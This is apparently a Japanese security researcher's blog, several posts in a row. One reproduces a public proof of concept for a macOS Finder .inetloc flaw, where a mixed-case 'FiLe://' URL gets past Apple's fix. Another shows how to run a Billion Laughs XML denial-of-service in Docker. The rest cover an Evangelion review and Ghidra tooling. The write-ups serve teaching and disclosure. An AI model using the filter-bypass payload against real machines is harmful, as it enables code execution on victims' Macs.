AppleがCVEを割り当てずに修正した(?)けどバイパス可能なFinderのRCEの脆弱性を試してみた

概要

AppleがCVEを割り当てずに修正したけど、修正が雑でバイパス可能な状態の脆弱性がインターネットで話題だったのでやっていく。 拡張子 .inetloc のinetlocファイルという、RSSフィードなどのインターネット上のコンテンツを指すためのショートカットがmacOSでは使われている。 このファイルの中でfile://を使ってローカルの実行ファイルを指定することで、任意コード実行が可能とのこと。 この脆弱性SSD Secure DisclosureというOSやブラウザなどの著名なソフトウェアを扱うバグバウンティサイトで公開された。

ssd-disclosure.com

やってみる

脆弱性の修正が行われた現在は、file:// を弾く対策が実装されている。 そのため、大文字と小文字を混ぜて、同じ動作をする他の文字列を指定してあげると、対策をバイパスできる。 上記記事中には次のPoCが貼られていて、拡張子.inetlocを持つファイルとして保存し、Finderからダブルクリックで実行すると電卓が起動した。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>URL</key>
    <string>FiLe:////////////////////////System/Applications/Calculator.app</string>
  </dict>
</plist>

また、macOSではダウンロードしてきたファイルを実行する際に警告が出るが、 ブラウザを使って、ダウンロードしてきたinetlocファイルは警告なしで実行されることを確認した。 攻撃者がメールなどでマルウェアを送りつける際の有用な手段が増えたのかなーと思った。

まとめ

ちゃんと対策してほしいし、報告者のためにも、脆弱性管理、周知のためにもCVEつけてあげてほしい。

「趣味と実益のための著名なOSSライブラリ起因の脆弱性の探求」という題でセキュキャンで講義してきた

セキュリティ・キャンプ全国大会 2021 オンラインで講義をしました!!

www.ipa.go.jp

去年も講義してたけど、去年は翌日の坂本真綾のライブで打ち上がって頭が書き換えられてブログ書いてなかったっぽい。 また名古屋旅行したい。次の動画は去年の打ち上げの参考動画です。

www.youtube.com

講義内容

前座として脆弱性を取り巻くライフサイクルの話をした後、安全でないデシリアライゼーションの演習をやり、その後、XMLパーサのしばき方を学び、実際にGitHubで公開されているOSS脆弱性を探す演習をやりました。 OSSライブラリ起因の脆弱性といっても幅広いので、各プログラミング言語にデフォルトで存在するライブラリ起因の脆弱性に焦点を当てて、安全でないデシリアライゼーションとXMLパーサ関連の脆弱性の話をしました。ちょっと講義タイトルは詐欺気味なところは否めない....

日本語でProperty-Oriented Programmingに言及している資料やXMLパーサに対する攻撃手法を細かに分類した資料は無かったので公開する意義のある良い資料ができた気がしています。 詳しい内容は講義資料を既に公開しているのでそちらの方を見てもらえると🙏

speakerdeck.com github.com

こだわりポイントはBillion Laugh、Quadratic BlowupといったDoS脆弱性をDocker上で安全に試せるようにしたところです。 次のコマンドで気軽にDoSを楽しめるので、暇な人はやってみてください!!

$ git clone git@github.com:tkmru/seccamp2021-b5.git
$ cd seccamp2021-b5
$ cd handson/xml-parser/billion-laughs/etree/
$ docker build . -t billion-laughs-etree
$ docker run billion-laughs-etree
CPU: 0.0 %, Memory: 540 KB
CPU: 95.0 %, Memory: 308920 KB
CPU: 97.5 %, Memory: 601304 KB
CPU: 98.6 %, Memory: 896032 KB
CPU: 99.0 %, Memory: 1188776 KB
CPU: 101 %, Memory: 1572960 KB
CPU: 101 %, Memory: 1602120 KB
CPU: 101 %, Memory: 1595464 KB
CPU: 99.3 %, Memory: 0 KB
./run.sh: line 12:     7 Killed                  python vulnerable.py
CPU:  %, Memory:  KB

講義資料を作りながら8件ほどOSS脆弱性を見つけてIPAに報告できたのも良かったけど、さてCVE付くのはいつになるんだろう....

リファレンスチェックへのお気持ち

特に転職活動してる訳ではないです。

リファレンスチェックサービスの本人確認ってどうなってるのかな〜

シン・エヴァ感想

初回は公開初日朝7:30に見に行って、2回目は映画館が休館する緊急事態宣言が出る前日に行った。 2回目は偶然、休館前日だったので運がよかった。

感想

各パートのつなぎが突然でツギハギ感を感じるところもあったけど、満足。

おめでとうエンドを覚悟して見に行ったけど、まさかハッピーエンドとは。

  • Qで何も説明がなかった人々の生活の描写があってよかった。震災を受けて作り直した感がすごい
  • シンジがDSSチョーカーに反応するのを見て、スカーフでDSSチョーカーを隠すアスカやさしい
  • アスカが大人になっていたのもよかった。銃を構えるところで中学生から軍人になったんやなって感動した
    • オタクがうじうじしている間にも世界は進んでいるって言いたいのかな
  • 仮称綾波が目の前で蒸発して、また鬱になっちゃうのかなと思ったけど、WILLEに合流を決意するのはシンジの成長がすごくて感動した
  • 惣流のアスカはダミープラグとして13号機に乗っていて、式波とバトルになったという理解でいいのかな
  • 赤い海の前にずっといた惣流のアスカが可愛くてびっくりした。救われてよかった
  • 巨大綾波とファイナルインパクトの描写はCG感つよすぎてあんまり怖いかんじがなかった
    • この辺は旧劇の演出のほうが怖くて好き
  • 今までに説明をしてこなかったせいで、突然ゲンドウのプロジェクトXが始まったときはちょっと笑った
    • 漫画版、アニメ版のネルフ創設秘話の回が好きなので見れてよかった
  • 漫画版ではマリが長生きで碇ユイの後輩というのは既出だったけど当然のように出してくるのは驚いた
  • イスカリオテのマリアってなんやねん
    • イスカリオテのユダは聖書では裏切り者なので、ゼーレを裏切ってシンジ側についた的な?
    • マリは碇ユイが大好きなので、ユイが死んだ時点でシンジのために動くことを決めてそう
  • 最後の裏宇宙に行くのはインターステラー感がつよい
  • ゲンドウ君がコミュ障のせいで人類補完計画を起こさないとシンジと話せなかったんだな
  • 坂本真綾が好きなのでマリが大活躍してくれて満足
  • 旧劇の突然挟まる実写パートが好きなので、最後の方はまだ実写来ないのかなって不安になってたけど、ちゃんと最後にあって満足

ブログの名前変えた

経緯

やっていき!!

Eclipseを使わずにGhidra Extensionをビルドする方法

Ghidraでは、Ghidra Extensionを作成して機能を拡張できます。 Ghidra Extensionは、使う度にScript Managerを通して呼び出すGhidra Scriptとは違い、Ghidraの起動時に自動的にロードされます。 このため、単にGhidra上で解析を効率化するための機能を実行するだけではなく、UIを拡張できます。

Ghidra Extensionのbuild.gradleにはEclipseに関する情報が書かれていますが、 Eclipseを使わずにGradleというビルドツールをコマンドラインから実行することでもビルド可能です。 環境変数GHIDRA_INSTALL_DIRに ビルド済みのGhidraがあるパスを指定し、gradleコマンドを実行してください。 git cloneして持ってきたままの状態のGhidraのリポジトリのパスを指定してもビルドできないので注意してください。

$ export GHIDRA_INSTALL_DIR=<Ghidraがあるディレクトリへの絶対パス>
$ gradle

また、環境変数GHIDRA_INSTALL_DIRは、gradleコマンドのPオプションに指定することもできます。

$ gradle -PGHIDRA_INSTALL_DIR=<Ghidraがあるディレクトリへの絶対パス>

上のコマンド例ではパスをexportしたり、コマンドのオプションに指定していますが、.bash_profileなどのシェルの設定ファイル内で環境変数として定義しておくことをおすすめします。 ビルドに成功していれば、./dist/以下にZIPファイルのExtensionができています。

Ghidraには、Extension開発の際に、テンプレートとして使うためのSkeleton Extensionが用意されています。 こちらもぜひ参考に見てください。

リバースエンジニアリングツールGhidra実践ガイドを執筆しました

去年、Ghidraについての技術同人誌を書いたことがきっかけで、商業誌としてGhidraを題材にしたリバースエンジニアリングの本を執筆しました。同人誌のときとは比べものにならないほど、ボリュームアップしています(なんと688ページ!!)のでぜひ読んでみてください。本日発売です!!

f:id:TAKEmaru:20200825073050j:plain:w550

www.amazon.co.jp

いい風景ですね